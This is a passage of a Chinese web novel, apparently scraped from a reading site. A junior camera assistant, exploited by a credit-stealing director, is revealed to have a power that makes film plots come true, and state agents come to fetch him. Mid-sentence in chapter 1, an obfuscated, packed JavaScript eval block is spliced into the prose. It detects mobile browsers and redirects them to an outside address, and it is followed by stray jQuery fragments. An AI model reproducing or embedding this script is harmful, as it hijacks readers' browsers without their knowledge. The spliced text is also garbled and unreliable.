《上交自己，但烂片导演》 1. 排面 —— 【小温啊，不是我不给你发工资，不过剧组报账下来还得一段时间呢，再等等，不要着急嘛。】 【年轻人嘛，刚进社会还是应该多积累点经验，不要总张口闭口就是什么钱啊，署名啊，你说是不是？】 【太追求名利，有时候反而容易适得其反啊。】 温行在拍摄的间隙打开手机看了一眼，迎面跳出来的就是这一大串消息，正是一个备注叫“李导”的人发过来的。 他粗略地扫过去，即使已经有了心理准备，还是差点被对方的回复气笑了。 ——这也太厚颜无耻了！ 就在这时候，他旁边走过来一个人，探头看了眼他的手机屏幕，顿时“卧槽”一声， “这姓李的真不要脸啊！” 来人名叫杨浩波，之前和温行一起在李导的剧组里干过活，因此对温行之前遭受的待遇一清二楚。 骂完之后，他又抬头看了眼温行的脸色，小心翼翼地问：“那个，李导拖欠你的工资还没补上啊？” 温行手里捏着手机，叹了口气，摇摇头。 “唉，当初你有多辛苦大家也都看在眼里，谁知道这姓李的这么抠门，不愿意给署名权就算了，还一直拖着不发钱，他这分明是故意报复你嘛。”杨浩波愤愤不平地说。 温行：“我能有什么办法呢。” 一年前他刚从影视学院毕业，找的第一份工作就是在某个著名导演——也就是这位李导——的剧组里当拍摄助理。 当时温行还未见识社会险恶，乐呵呵地就去了。 工资低、事情多、周末无休——没关系，就当是积累经验了嘛！ 不算剧组正式成员、没有工作合同——能旁听学习也不错，更何况还是位大导演的剧组呢！ 就这么十分心大地自我宽慰着，温行上任了自己的第一个职位。 然而刚上任他就发现，那位传说中的著名导演——居然对拍摄一、窍、不、通！ 所有的拍摄任务，几乎都落到了温行这个小助理的头上，导演只负责当个甩手掌柜，如果温行拍得哪里不合他的意，还要挨一顿臭骂。 前前后后三个月的时间，他几乎一个人独揽了指挥、拍摄和后期，一人干了三份活，咬着牙拼命坚持。 他也不是没想过退出剧组，但是李导在圈子里还是有一定分量的，他不敢轻易得罪。更何况如果半途退出，钱肯定是拿不到了。 就当是为了钱嘛。温行一边安慰自己一边终于干完了所有的活，本以为总算是熬出头了。没想到当他找李导询问能不能加自己名字的时候，被对方骂了个狗血淋头—— 你一个拍摄助理，还敢想着要什么署名权！ 平心而论，温行觉得自己这个请求一点也不过分，他在剧组里的工作量甚至都可以直接放在副导的位置上了。更何况他只是希望能在末尾加一下自己的名字，都不是想和导演副导抢咖位。 然而对方就是这么的不讲理，他没忍住争辩了几句，两人吵了一架，署名权的事情自然也泡汤了。 这也就罢了，更恶心人的还在后面——那天以后，李导就开始想方设法地拖延他的工资，要么是用些冠冕堂皇的借口，要么不明显地阴阳怪气他几句，让他有火都没处发。 电影已经杀青快一年了，该报的帐早该报下来了，纯粹是李导在故意找他的茬呢。 温行问了一圈，发现剧组其他人的工资都发下来了，就剩他一个人的，更证实了他的判断。 而且他没和剧组签正式合同，想说理都没地方说去。 温行叹了口气，回过神，看着面前的手机。 如果问他现在最想怎么样的话，当然是把李导连同他的祖宗十八代骂一顿，爽快地拉黑了事。 ——但这样子，他的钱就真的要不回来了。 于是他只能咬牙切齿地删了对话框里一大串骂人的话，转而发： 【好的李导，麻烦您帮忙催一下了。（黄豆微笑）（黄豆微笑）】 回完这条消息，寄希望于李导能从他那两个死亡微笑表情里读出他的愤怒（当然这是不可能的），温行憋憋屈屈地关掉手机，回到片场开始继续拍摄。 —— 因为李导一直拖欠他的工资，相当于之前的半年都白干了，温行穷到差点吃不起饭。没办法，他只能赶紧又接了个拍摄助理的活。 他目前所在的剧组是个小成本恐怖片剧组。 所谓小成本恐怖片，其实也就是那些无聊的吓人套路，加上点女鬼、血浆之类的经典元素，十分粗制滥造。但因为成本压得够低，也能赚到钱。 不少小剧组、小导演就是靠拍这种恐怖片生存的。 对于自己拍摄这种电影的行为，温行接受十分良好——人总是要先吃饭的嘛。更何况这剧组的导演人还挺好的，知道他的情况之后不仅预支了一个月工资，还允许他有一些自由发挥的空间。 借着这个机会，温行还真贡献了不少稀奇古怪的吓人桥段，给整部电影上了个层次。 “哎，对对对，打光再往这边一点！” “这一段感觉还不太吓人啊……这样，原定不是主角扭过头之后看到女鬼嘛，我们稍微改一下，主角扭过头什么都没看到，直到他松了口气转回头的时候，发现女鬼就在他面前。” “好，注意走位。” 拍摄告一段落，温行擦了擦自己额上的汗珠，和导演一起看着刚才拍摄的片段。 漆黑一片的走廊上，“安全出口”的绿色灯光忽明忽暗，男主紧绷着精神快步往前走着。突然，他的脚步停住了。在他的背后，似乎传来了一丝幽幽的凉意。他站在原地，大气也不敢喘，头一寸一寸地扭了回去—— 还好，背后什么也没有。男主猛地松了口气，大口大口地呼吸着，露出劫后余生的笑容。就在他把头转回来的时候，毫无预兆地，一张洒满了血浆的女鬼的脸出现在屏幕里！ “卧槽！”即使早有心理准备，在摄像机前的导演和几位演员还是被吓了一跳。 导演抹抹额上的冷汗，笑道：“哈哈，小温，你还挺有拍恐怖片的天赋啊。” 不知道为什么，即使是相同的剧本，在温行手里拍出来，也总会显得格外逼真。 就好像，这是某个真实发生过的片段一样…… 把这些荒谬的想法从脑子里甩掉，此时正好是午饭时间了，导演和其他一行人一起，吃午饭去了。 * 剧组的工作餐是统一规格的盒饭，由于剧组比较穷的缘故，味道嘛也就那样，不过饿不着人就是了。 剧组乱糟糟的，几人领了盒饭之后，就随便找了个地方边聊边吃。 就在这时候，杨浩波端着他自己的盒饭，坐到了温行旁边。 他在剧组里担任的是编剧助理，和温行这个拍摄助理地位差不多。之前在李导的剧组里，他也受了不少磋磨，和温行之间多少有点受害者之间的惺惺相惜。 温行现在的这个工作，也是他帮忙介绍的。 此时，他的表情略有些古怪，在温行耳边小声地说：“温行，你有没有听说……李导好像出事儿了？” “嗯？怎么回事？”一听到李导出事，温行立刻就来精神了，赶紧从盒饭里面抬头。 坐在一旁的导演听到两人的对话，也抬起头，露出了一个八卦的表情。 “我也是听小道消息，好像是上面来人，直接带走了，就今天上午的事。” “……真的假的？”温行露出一个怀疑的表情。他知道李导在圈子里的人脉还是很深厚的，这么容易就被抓了吗？ “绝对是真的。”杨浩波左右环顾了一下，声音更小了点，“不信的话，你上网搜一下李导试试。” “啊？”温行一头雾水，但杨浩波一直催着他搜，他也只好打开手机，上网搜索了一下。 然而，这么一搜，他直接就愣住了：“怎么回事？” 明明李导是个非常著名的导演，网上铺天盖地都是他的电影资源、个人简介、访谈视频之类的东西，但此刻，温行的搜索结果里，居然一条相关内容都没有。 而且，按理说李导被抓、电影下架这件事情应该会在影迷中间激起很大的波澜，但是网上仍然找不到一条热点消息。别说热点消息了，连相关的讨论都看不到。 ——就好像，有一只无形的大手，将李导在网络上的一切痕迹都抹去了。 温行不死心，又打开了自己常用的几个社交媒体打算搜索，被杨浩波拦住了：“别试了，我之前已经挨个搜过一遍了，都没有。甚至连外网都搜不到。” 温行默默放下手机。两人相顾无言，沉默片刻之后，温行终于问出了两人都想问的那个问题：“李导这是惹上什么人了？或者……” 虽然看到李导这样的下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16793782|190600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 场很爽，有种现世报的感觉，但除此之外更多的是疑惑和后怕。尤其是两人都在他的剧组里工作过，说不定稍不小心，就被牵扯进去了。 杨浩波：“也幸好咱俩都是小角色，没被牵连进去。我听说剧组里大部分相关人员都被叫去调查了，带走一大批人呢……” 温行：“这么离谱吗？” 就算李导真的犯了什么大事，大部分剧组成员也应该是不知情的吧？究竟是多么严重的事情，需要牵动整个剧组呢？ 杨浩波：“你别说，更离谱的还在后面呢。” 看到温行把耳朵凑过来，他神秘道：“想不想知道李导是怎么被抓的？据说当时李导正在宴会上喝酒呢，就在这时候，外面突然来了五六架直升机，上面下来黑压压十几个人，二话不说就冲进宴会现场……” 温行原本还在认真听着，等听到直升机那个部分的时候，表情从好奇变成了深深的无语：“怎么连直升机都出来了，编也得编得像点吧。” 温行：“先不说城市里哪能停得下五六架直升机，就是抓通缉犯，也用不着这个阵仗啊！” 杨浩波自己也知道这个版本不太靠谱，嘿嘿一笑：“反正人家就是这么和我说的，你不觉得一听就很爽吗？” 温行：“……你的当务之急是卸载掉手机上的小说软件。” 杨浩波：“滚滚滚。” 两人贫了几句嘴，午饭时间结束之后，一人回去改剧本，一人回去拍摄去了。 …… 一天就这么平静地过去了。 到了第二天，温行已经快忘了昨天杨浩波对他说的事情。 一天的拍摄漫长而枯燥，直到到了拍摄结束的时间，天色已晚，温行收拾着东西准备走人，就在这时候，杨浩波又过来了。 他的表情十分严肃：“温行，那个啊，你……有没有听到直升机的声音？” 温行：“……” 温行：“你真该少看点小说了。” 杨浩波急了：“不是，我没开玩笑，你仔细听啊！” “我听我听……”温行原本是敷衍他，然而侧耳细听之下，似乎真的听到了发动机和旋翼工作时的轰鸣声。 温行：“不，不太可能吧，说不定是这附近谁在搞装修……” 然而他话才说了一半，就知道没必要说了。 ——轰鸣的声音越来越大，透过窗户，能看到五六架直升机在外面依次降落。外面原本是一片空旷的拍摄场所，此时成为了临时的停机坪，旋翼掀起的狂风和尘土席卷了整片空地。 温行人傻了。 ……同样傻了的，还有一旁的导演。 昨天中午，他抱着八卦的心理把温行和杨浩波的对话听了个十成十，没想到这么快，相同的命运就要落到他头上了吗？ 救、救命啊！ 导演一个健步冲刺过来，紧紧抓住了温行的手：“等到时候有人来抓我了小温你可一定要给我作证啊，我是个大大的良民！遵纪守法！我连午饭都和你们吃的同样的十块钱盒饭！” 温行也很懵，但还是赶紧安慰导演：“没事，说不定他们不是来找你的。” 虽然他心里也觉得这不太可能，不是找导演的，那还能来找谁呢？ 就在这一小会功夫，直升机上已经下来了十几个一身黑色、全副武装的人，快速分成两队，小跑着向他们而来。 温行一扭头，发现导演不知什么时候躲自己身后去了。 两队人很快到了门口，为首的一人头戴战术头盔，从手腕上的智能通讯仪中调出照片确认了一眼，然后向着两人的方向，飞速敬了个礼： “温先生，打扰了，我是蓝国特殊行动组一分队队长。由于一些涉及到重大安全事项的问题，需要请您和我们走一趟。” 话说这些人还怪客气的，这是针对犯人的态度吗……温行一边想着，一边条件反射地扭头找人：“导演，他们找你……” 等等。刚才这人说什么来着。 温、先、生？ 这里还有第二个姓温的人吗？ 温行的动作僵住了。在所有人的震惊和鸦雀无声中，他缓缓转回头来，正好和这位队长急切的目光相对。 两人大眼瞪小眼几秒，温行犹犹豫豫地看了看面前这两排很有压迫感的人，又犹犹豫豫地伸出一根手指头，指了指自己。 啊？我吗？OvO 2. 女鬼电影 看到温行指着自己，为首的那位队长回答道：“是的，温先生，是您。” 温行：“我只是个拍摄助理啊，你确定你们没找错人吗？” 队长表情笃定：“温先生，绝对是您没错，我们已经核查过不下五遍了。” ……沉默，是今晚的康桥。 是的，温行当然清楚剧组里只有他一个姓温的人，但他还是想垂死挣扎一下的。 主要是，他一个小透明助理，怎么想也没必要来抓他，啊不是，请他走啊！ 他可是个大大的良民啊！午餐吃的都是十块钱盒饭的那种！ 温行怎么也想不到，刚才导演抓着他说的那一串话，没多久就要被他自己用上了。 唯一的好消息大概是，这群人既没有直接把他按在地上，也没有给他戴上手铐，相反还正正经经地敬了个礼，看起来是真的要请他过去而不是“请”他过去。 又和那位队长大眼瞪小眼地对视几秒，温行颤颤巍巍地问：“那个，如果我和你们走了，我还能再活着回来吗？” 他觉得自己这个问题问得很巧妙，包括了“活着”和“回来”两个条件。万一这群人把他请走之后，永远关在某个不为人知的地下深处…… 温行快被自己想象的画面吓死了。 那位队长听到他这个问题，一直保持严肃的脸上终于出现了一丝裂痕。 队长：“温先生，我们是正规的国家机构，我们蓝国是不会随意侵害任何一位公民的人身权力的……” 他的声音有气无力的，眼神无奈。意思很明确，让温行不要把他们当成什么随便抓人的非法团体…… 温行的目光默默扫过他身后那两队全副武装的人。 不是他自己吓自己，但他一个普普通通的老百姓，哪里见过这种阵仗啊。 队长也注意到了他的目光，终于意识到了问题所在，赶紧挥挥手让后面的人全都退下，并向温行解释道：“温先生，我们小队出动这么多人，主要是为了全方位保护您的安全，不会干涉您的自由的。” 温行：“真的吗？” 后面那群人离开之后，压迫感一下小了不少。他看这位队长好像没什么恶意，说得也不像假话，甚至有心思开个玩笑：“那如果我不想和你们走的话，你们打算怎么办呢？” 没想到，队长的表情一下子就垮了：“如果您真的不愿意的话，我们也无权干涉您的行动。” 这下温行是真的震惊了，毕竟来人这么大阵仗，肯定是很严重的事情，他以为自己不会有选择的权力呢。 下一秒，队长继续补充道：“但是，由于温先生您对国家的重要性，我们必须24小时跟随在您的身边，以确保您的绝对安全。” 温行：“……” 他想象了一下刚才看到的那两排人24小时跟在自己身后的场景，顿时打了个寒战。 这也太社死了！ 温行赶紧说：“别别别，我就是开个玩笑。” 队长的眼睛顿时亮了，急切地盯着他：“那温先生的意思是？” 温行：“我和你们走就是了。虽然不知道你们找我究竟是什么事，但既然是国家的需求……” 作为一个蓝国人，虽然他自认为不算特别爱国的一类，但如果国家真的有需要他的地方，他肯定是不会犹豫的。 不知是不是他的错觉，在听到他的回复之后，面前的队长明显露出松了一口气的表情。 “温先生，感谢您的理解和配合。事不容迟，那我们现在就出发吧。” 温行：“等、等等！” 温行：“你的意思是，我们现在就走吗？” 他本来以为，自己至少还能有个一两天的时间收拾下东西什么的。 队长：“是的，温先生。您不用担心，您在这边的琐事和去了那边之后的衣食住行，都会有专人安排的，您只需要直接跟着我们走就行了。” 温行：“但是我在这边的拍摄……” 队长正欲开口，此时一直躲在温行身后的导演赶紧探出个脑袋，开口：“我这边没问题的，哈哈，小温你尽管去就是了，大不了我们剧组延期拍摄嘛。” 一边说着，一边抹了把头上的冷汗。笑话，这可是国家来要人，他就算再有一百个胆子，也不敢把温行留下来啊。 话说回来，幸好这群人不是冲他来的。 刚才那个阵仗，他吓都吓死了，连遗言都快想好了…… 见导演已经这么说了，队长张了张嘴，欲言又止，最后还是没有再说话。 事实上，不管温行走不走，他们这部电影肯定是不可能继续拍下去了。不过这件事和后续相应的补偿，就由其他相关部门和他们对接了，他现在还是不要多嘴。 …… 一直到坐在了直升机上，温行都觉得自己这几分钟的经历不真实得像梦一样。 伴随着巨大的轰鸣声，直升机拔地而起，透过窗户，能看到地面越来越小的建筑，和伴飞在他们旁边的其他几架直升机。 按理说温行现在应该是很紧张的，但飞机起飞一会儿之后，他还是忍不住开始左看右看起来，如同刘姥姥进了大观园。 他以前可是从来没坐过直升飞机啊！ 让他惊讶的是，这架飞机上居然还有位医生。接触到温行惊讶的目光，队长主动为他解释道：“直升机起降速度比较快、噪音大，有些普通人在乘坐过程中可能会出现不适。所以我们提前准备了一位飞行医师。” 至于这位飞行医师是为谁准备的，自然就不言而喻了。 听完之后，温行除了震惊之外更多的是一丝丝感动。该说不愧是国家爸爸吗，连这么细节的地方都考虑到了。 不过幸运的是，温行的体质还是挺不错的，没有出现什么不适的症状，直升机顺利地进入了飞行。 这之后，温行又问了旁边的队长一些问题，不过得到的大部分回答都是“无法告知”“严格保密”和“到时候会有人为您说明的”。 温行这才知道，除了队长本人之外，直升机上的其他队员，包括旁边的医生，都是对任务内容不知情，也不允许知情的。 这除了让他更意识到事情的重要性之外，好奇心也越来越重了，自己身上究竟有什么东西，值得国家这样大动干戈？ 他仔细地回忆了一下过去的23年，确信自己只是个普普通通的人。话说，之前李导也是这么被带走的，难道说，和之前那个剧组有关系…… 就这么胡思乱想着，漫长而枯燥的飞行过后，直升机的高度降低了些，温行看到了窗外一闪而过的地标性建筑。 和他猜的差不多，他们此行的目的地果然是A市。 但直升机没有在A市市区停下，而是飞到了郊区一片隐秘的荒山中。 飞机即将降落，在温行旁边一直紧绷着精神的队长也松懈了下来。 温行这才注意到，因为一直保持着警戒状态，队长的额上都出了一层薄汗。 温行：“这趟任务对于你们来说这么重要吗？” 队长擦了擦额上的汗，由于成功抵达，他整个人放松了不少，表情也不那么严肃了：“温先生，不瞒您说，如果这次没能顺利把您接回来的话，我这个位置就要保不住了。” 温行：“……啊？” 不至于吧，这么夸张？ 难怪听到他不愿意跟他们走时，队长那个一下子垮掉的表情，是这么的真心实意。 队长苦笑一声，他没有说的是，如果这次没能顺利把温行接回来，不止是他，就连他的上级，和他的上级的上级，位置恐怕都保不住了。 温行绝对不会想到，在他一无所知待在新剧组里拍电影的时候，整个蓝国，因为他掀起了多么大的波澜…… * 这整件事，是从一个月前，蓝国异能监测局的一次异常监测结果开始的。 三百年前，这颗星球上开始出现了一些特殊的力量，有的出现在人身上，有的出现在生物和自然现象上。这些力量，后面被统一命名为“异能”和“特殊”。随着它们的出现，各个国家也开始收编相关的异能者，组织特殊机构来处理这一系列事件。 不过为了保护大部分普通人，这些机构都设立得非常隐秘，大多数人是不知情的。 而蓝国异能监测局就是其中之一，字面意义上，就是监测蓝国境内新出现的异能和特殊。他们监测到了一个新的异能出现，这本来不算特别，毕竟每年都会有数百异能者觉醒。但特别的是，这个异能居然附着在……一部电影上！还是一部还未上映的电影！ 这就让监测局的人有点摸不着头脑了，毕竟一般异能要么就是直接以异能者的特殊能力出现的，要么就是附着在某些物理实体上，他们还没见过这么奇怪的异能呢。 于是，监测局的人给这部电影做了个全面的检查，检查结果很快出来了，这个异能说起来一点也不复杂，甚至十分简单——它可以使电影里的部分情节，在现实中成真。 一个听起来十分平平无奇的异能。 ……然而，检查结果是当天下午三点出来的，当天下午三点五十的时候，整个蓝国就已经进入了一级戒备状态。 乍一听有点莫名其妙，但稍微知情的人都知道，这一点也不夸张。 那可是会使电影情节成真的异能！稍有不慎，就会给蓝国、甚至全世界带来巨大的灾难！ 也得亏这部电影是个普通的校园片，但万一那个不知名的异能者突发奇想，拍个灾难片啥的呢，什么2012啊，生化危机啊…… 万幸，他们之前没有监测到类似异能，而异能的发动，需要影片有一定传播量和观看量，这部电影还没有上映，所以目前没造成什么损失。 但有这么大一个不可控因素在，依旧是非常危险的，另外，还不知道这个异能者之前有没有拍摄或者接触过其他的电影？如果有的话，那就是一颗定时炸弹。 于是，蓝国所有相关机构都行动了起来，就为了排查这部电影背后那个可能的异能者。 其实排查起来并不困难，因为异能发动的条件之一就是长时间的密切接触，也就是说，这个人必定是在剧组中占据重要地位，主导了整部电影的那个人。 顺理成章地，他们第一个注意到的就是李导。 这再正常不过了，毕竟在电影的演职员表里，总导演就是李导。 而且，经过异能监测局对电影的精确分析，他们基本已经可以确定，那位执导整部电影的人，就是他们要找的异能者。 当然，为了保险起见，除了重点关注的李导之外，他们还按照那份名单，把剧组里所有的相关人员都叫去调查了。 想把这么多人都悄无声息地叫去调查，并且不引起任何舆论波动，也不是一件容易的事情。一时间，整个异能机构都兵荒马乱。 而李导之前执导的全部电影，也在第一时间被国家下架了，全网抹除，不留余地的那种。 从某种角度上，这算是李导自作自受了。 而异能局忙着处理这件事的人也完全没有想到，剧组里还有一群连正式合同都没有签订，更不可能出现在演职员表上的临时工。偏偏他们掘地三尺要找的那个异能者，就在这群人当中。 这不是因为他们心大或者疏忽，而是——作为一直在国家机构工作的人员，这群人都是道德素养极高的一批人，平时也都习惯了依法依规办事。他们怎么也想不到，居然还有人这么胆大包天，明着和国家的法律作对！ 只能说，这群来自国家的人，完全没有见识过娱乐圈里的弯弯绕绕…… 好不容易将相关人员都带过来了，李导的电影也下架了。就在所有知情人员都觉得可以松一口气的时候—— “没有异能？怎么可能没有异能？！” 异能监测局局长手里拿着李导的检测结果，表情难看。 负责检测的研究员表情也很难看，小心翼翼地继续汇报道：“结果确实是这样。为了避免有误，我们已经来来回回检查三遍了……” “那其他人的结果呢？会不会是我们判断错误，这个异能者在剧组其他人中间？”异能监测局局长急切地问。 然而，当他拿到剧组其他所有人的检测结果时，原本的迫切化成了更深的绝望：“都没有……怎么会？” 他拿着检测表的手都有点发抖。 往小里说，这是他们机构的严重工作失误；往大里说，这说明那个不安定的因素仍然藏在某个地方，随时可能会给蓝国带来危机！ 而此时，距离蓝国全国进入一级警戒状态，已经过去将近一天了！ * 排查了全剧组却没有找到那位异能者这件事，立刻惊动了整个蓝国高层。 几个参与此事的机构负责人紧急召开了一次会议，商讨目前这件事的严重性以及如何 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提议的这个人是一位监察官，多年和各种犯人打交道，已经练就了敏锐的直觉，一双眼睛如鹰般锐利：“刚才给那个姓李的导演做检查的时候，我注意看了一眼，他明显心里有鬼。” 立刻，在场的所有人表情都严肃起来。 其中一位大领导沉声说：“你是怀疑，这位李某可能涉及到故意隐藏异能者信息，从而对国家不利？你认为他是间谍的可能性大吗？” 监察官点点头，又摇摇头：“我认为他肯定隐瞒了一些东西。不过，倒不一定是间谍……” 他露出一个若有所思的表情。毕竟是和很多犯人打过交道的人，对这些社会上的污浊也了解得更多，他稍一思索，就觉得已经有了猜测。 “但是，这都得亲自问问他才能知道。” “好。”大领导点点头，“那么就把这件事提到第一紧急的位置，由你们和监测局一起询问这位李姓嫌疑人。” 本来，作为电影的第一负责人，之后李导肯定也是会接受调查的。但因为目前找到那个异能者才是最重要的事情，所以调查他的事暂且被放到了一边。 但如果他可能涉及故意隐瞒一些东西，事情就不一样了。 就像他们可以不惜一切手段寻找那个异能者一样，他们也可以不惜一切手段，问出任何有关这名异能者的相关信息！ …… 此时的李导还不知道，自己马上就要大难临头了。 刚被请到异能监测局的时候，他甚至还有些小小的得意。 这群人对他的态度恭恭敬敬的，还有直升机接送，说他对于国家有很重要的作用…… 这么一连串待遇下来，更是让李导整个人都飘飘然起来，已经开始畅想起成为人上人的美好生活。 直到异能监测局局长拿到他的检测报告之后，脸色大变。虽然李导不清楚他们是在做什么，但多年来察言观色的本领还是让他意识到，肯定有什么地方不对了。 尤其是，在看完那什么“检测结果”之后，这群人就完全忽略了他，急匆匆地不知道在干什么。 不过，他还是抱着一丝侥幸心理，不安地等待着。 直到他被带到一间类似讯问室的房间里，几个全副武装、表情严肃的人询问这部电影是否真的是由他自己拍摄的，他才一下子慌了—— 他们、他们是怎么发现这件事的？ 一开始他还拼命想要隐瞒，但慌乱的表情是瞒不过这些身经百战的监察处人员的。 几十个审讯专家轮番上阵拷问他，要知道这些人审问的都是罪大恶极的重刑犯，把平时的方法随便用上那么几个……他一个普通人，哪里见过这样的阵仗？当即吓得魂飞魄散： “我招，我都招！” 这下，他不敢有丝毫隐瞒了，一五一十地把事情讲了一遍，把他知道的温行的信息也都提供了出去。 而根据他提供的信息，国家也开始飞速寻找这个名叫“温行”的青年…… * 会议室内。 各部门的负责人都紧张地等待着，在首座上坐着一位大领导，此时也出现在这件有些简陋的会议室中。 就在这时候，几位负责人手腕上的通讯设备亮了起来，他们看了一眼通讯，不约而同露出惊喜的表情：“审讯有结果了，那个异能者的名字问出来了！” “好！”就连首座上那位喜怒不形于色的大领导，都露出一个喜悦的表情，“赶紧，把他的资料全部查清楚！还有，最关键的一点，查清他有没有参与过其他电影的拍摄！” 其实不用领导吩咐，所有人也知道这件事的重要性。掌握了这个人的姓名和基本信息之后，调查的效率快了很多，不一会儿，就有位通讯员急匆匆地跑了进来：“报告，温行的相关资料已经查清楚了！” 他敬了个礼，飞快地汇报道：“温行，23岁，2613年出生，S市人，过往履历为……” 听着前面的汇报，在场的所有人都慢慢松了口气。 看起来，这位名叫温行的青年是个土生土长的蓝国人，履历清白，这至少排除了敌国故意扰乱的可能。 等到履历汇报完之后，大领导又问：“那他拍摄的电影呢？他参与过哪些拍摄？” 通讯员继续往下看：“这位温先生刚从学校毕业，《少年之声》是他参与拍摄的第一部电影。目前他正在另外一个剧组担任拍摄助理，参与拍摄的电影是…是…” 只见他的脸慢慢由白转红然后再转青，汇报的声音也支吾起来。 会议室里的人顿时按捺不住了，离他近的一位负责人顾不上形象，干脆一把抢过了他手里的通讯设备：“到底是什么电影？” 说着，打开了通讯设备的光屏功能。 于是，一道涂满血浆的巨大的女鬼的脸，就这么映入了众人的眼帘。 与这张脸同样醒目的，还有海报上面大大的电影名：【鬼蜮：午夜怨灵】 “……” “……” “……” 整个会议室陷入了诡异的沉默。紧接着是一阵突然的兵荒马乱： “王总！王总您怎么了！” “快快快，人呢！” “赶紧叫医生啊！” 是的，那位大领导看完海报，一口气没上来，就这么水灵灵地晕过去了…… 3. 激情创作 一群人手忙脚乱地把大领导抬到了担架上，就在这时候，大领导又十分坚强地醒过来了一下，猛地抓住旁边一人的胳膊，声音都在哆嗦：“还围在这儿干什么，赶紧，赶紧用最快速度去找人啊！！！还有那个电影，赶紧给我叫停！” “哦对对对，特殊行动组的人呢，赶紧安排一下啊！”旁边的几个人如梦初醒，赶紧转头吩咐下去。 看到事情都安排好了，大领导才放心地眼睛一闭，继续晕了回去…… …… 这就是他们在找到温行之前，发生的全部故事。 队长从回忆中清醒过来，看着面前一无所知的温行，苦笑一声。那位大领导到现在还躺在医院里呢。 就在这个时候，载着他们的直升机也终于降落到了停机坪。队长对温行说：“温先生，我们到了，请走吧。” 温行刚下飞机的时候还有点疑惑，这附近光秃秃的全是山，除了一个看起来有点简陋的停机坪之外什么也没有。 但跟着队长走进一条隐秘的通道，又坐上电梯一路向下之后，他的疑惑就全部消失了。 他们要去的地方，居然整个修建在地下。 再次发出没见过世面的惊叹，温行跟着队长一路穿过走廊，之后又被移交到了一群穿着白大褂的人手上。 之后就是一些非常无聊的环节了，这群人给他做了一大堆他看不懂的测试。温行一脸懵逼地坐在椅子上，任由他们摆弄。 他其实有很多问题想问，但看着这群人满脸焦灼严肃的样子，又不太好意思开口。 等到他的检测结果出来之后，一群人“呼”地一下，全聚在了仪器周围。 然后是兴奋的讨论声： “对了，终于对了。” “就是他！” “赶紧报告上去……” 于是，一群人又呼啦啦地全跑了出去。 被扔在原地的温行：？ 你们怎么就这么走了？ hello？有人还记得我吗？ 不过几分钟之后，大概是他们终于想起来他还留在检测室里，又有人一路小跑着回来和他道歉，把他带到了一间休息室里：“不好意思温先生，您先在这里休息一下，等会我们局长会来和您聊聊的。” 局长吗？听起来职位还挺高的，想想就是那种很有威严的形象。 温行感觉有点紧张，局促地坐在休息室的沙发上。他向来不擅长和这些领导相处。 不过出乎意料的，进来的人看着还挺和蔼的，头发花白，脸上笑眯眯的。 进来之后，他一开口就是：“温先生，您久等了吧？” 温行吓得连连摆手：“不不不，您叫我小温就行……” 之前那位队长叫他温先生，因为两人看着年龄差不多，他也就接受了，但面前这个明显是长辈的人也这么叫他，这算什么事嘛！ “哎，那我就仗着比你虚长几岁，叫你一声小温了。我姓陈，叫陈继广，直接叫我陈叔就行。”那位局长依旧笑呵呵的。 “小温啊，我相信你肯定有很多疑惑，我会给你解释一下情况，不过呢，这可能有点超出一般人的认知水平……” “没事，我能接受，陈叔您尽管讲吧。”温行信心满满地说。连直升机接送这种魔幻的事他都见过了，还有什么不能接受的？ 紧接着，他就听到陈叔说：“那我就先自我介绍一下吧。我是蓝国异能监测局局长。” 温行：……？ 啊？ 你说你是哪个部门的局长？什么监测局？ …… 大概是他脸上呆滞的表情太明显，陈继广笑着摇摇头：“小温啊，我就说这可能超过一般人的认知……我给你从头慢慢讲吧。” 紧接着，他就从几百年前异能出现的历史开始讲起，一直讲到了他们找到温行为止。 温行：“陈叔，你等我先捋捋……” 刚才陈继广给他讲了一大堆，不过他还是从陈继广啰啰嗦嗦的一大串中总结出了重点，那就是他好像是个新觉醒的异能者，还是个非常重要的异能者，所以国家上上下下都在找他。 至于他的异能究竟是什么—— 陈继广：“这个说起来就复杂了。不过简而言之的话，就是你可以使电影里的情节成真。” 温行：“卧槽，这么牛逼！” 这是他发自内心的惊叹，不过脱口而出后他才想起来面前就是领导，赶紧讪讪地闭上嘴。 不料陈继广并没有反驳他的话，而是笑道：“是啊，小温，你的异能确实很厉害。不夸张地说，它可能会成为蓝国乃至全世界，新的希望。” …… 和陈继广的会面结束之后，温行就被带去休息了。 当然，住宿什么的条件也都是最好的，奢华得让他有点咋舌。 之后的几天，他的生活基本上都是在重复中度过的，做各种各样的检查、见不同部门的领导。 有一天陈继广又来了：“有位领导想见见你。没事，到时候不用紧张，就是随便聊聊。” 陈叔这么说，温行还觉得奇怪，自己这几天大大小小的领导都见过一串了，还有什么可紧张的？ 直到他走进那间会客室，看到了里面的大领导，手心顿时就开始出汗了。 好严肃的表情，好强大的气场啊。 不过好在看到了温行之后，大领导的表情和缓了下来，对他十分和蔼：“哈哈，小温啊，容我自我介绍一下，我的名字叫王正平。老陈说你叫他陈叔，那你也跟着叫我一声王叔就好。” 温行：“好、好的，王、王叔。” 对不起，让他不紧张，他是真的做不到啊！ 那位大领导笑着又和他闲聊了一会儿。就像陈继广说的那样，确实只是随便闲聊，没什么压力。 温行渐渐放松了下来，注意到了王正平分外憔悴的面容和手背上几个明显的针眼。他忍不住大胆地问：“王叔，您最近身体是不是有些不舒服？” 不知道为什么，他这个问题一出，王正平脸上的笑容僵硬了那么一瞬间。 他身边的两位助理，也都用复杂而幽怨的眼光看向了他。 温行：……？ 是哪里有问题吗？ “呵呵，没事，就是前段时间高血压进了医院，已经恢复得差不多了。” 温行吃惊：“这么严重啊，王叔您可千万要保护身体。” “唉，谢谢你的关心。”王正平深深地叹了口气。 两人又换了别的话题聊了几句，王正平对他说了一些鼓励的话，就由两位医疗助理搀扶着离开了，看起来还是很虚弱的样子。 哎，温行看着王叔离开的身影，忍不住在心里感慨，王叔真是个很好相处的人啊，就是不知道为什么有几次看他的眼神有点奇怪…… * 前前后后一个多星期的时间，温行的各种检查终于结束了。 